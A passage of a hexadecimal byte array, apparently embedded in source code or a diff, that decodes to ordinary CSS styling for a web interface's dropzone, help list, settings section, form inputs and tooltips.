0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, + 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x64, 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, 0x65, 0x2E, + 0x64, 0x72, 0x61, 0x67, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, + 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2A, 0x20, 0x48, 0x65, 0x6C, 0x70, 0x20, 0x4C, 0x69, 0x73, + 0x74, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x68, + 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6C, 0x69, 0x73, 0x74, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2D, 0x74, + 0x79, 0x70, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x68, + 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x6C, 0x69, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, + 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, + 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, + 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, + 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, + 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, + 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2E, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, + 0x73, 0x74, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, + 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, + 0x70, 0x78, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, + 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, + 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x69, 0x76, 0x65, 0x20, 0x45, + 0x6E, 0x68, 0x61, 0x6E, 0x63, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x20, + 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x40, 0x6D, 0x65, 0x64, 0x69, 0x61, 0x20, 0x28, 0x6D, 0x61, 0x78, 0x2D, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x36, 0x30, 0x30, 0x70, 0x78, + 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, + 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, + 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, + 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, + 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, + 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, + 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, + 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, + 0x65, 0x72, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, + 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, + 0x2A, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x53, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, + 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, + 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x72, + 0x67, 0x62, 0x61, 0x28, 0x31, 0x30, 0x2C, 0x20, 0x31, 0x30, 0x2C, 0x20, + 0x31, 0x35, 0x2C, 0x20, 0x30, 0x2E, 0x38, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, + 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, + 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, + 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, + 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x72, 0x6F, 0x70, 0x2D, + 0x66, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x3A, 0x20, 0x62, 0x6C, 0x75, 0x72, + 0x28, 0x31, 0x30, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x68, 0x32, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, + 0x2E, 0x38, 0x72, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, + 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, + 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, + 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, + 0x6B, 0x69, 0x74, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x66, 0x69, 0x6C, + 0x6C, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, + 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, 0x65, 0x69, 0x67, 0x68, + 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, + 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, + 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, + 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, + 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x49, 0x6E, + 0x70, 0x75, 0x74, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, + 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, + 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, + 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5D, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2C, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, + 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, + 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, + 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, + 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x6C, 0x6C, + 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, 0x61, 0x73, 0x65, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, + 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, + 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, + 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, + 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, + 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, + 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, + 0x77, 0x3A, 0x20, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x33, 0x70, 0x78, + 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x31, + 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, + 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, + 0x2D, 0x31, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, + 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2E, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, + 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x39, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 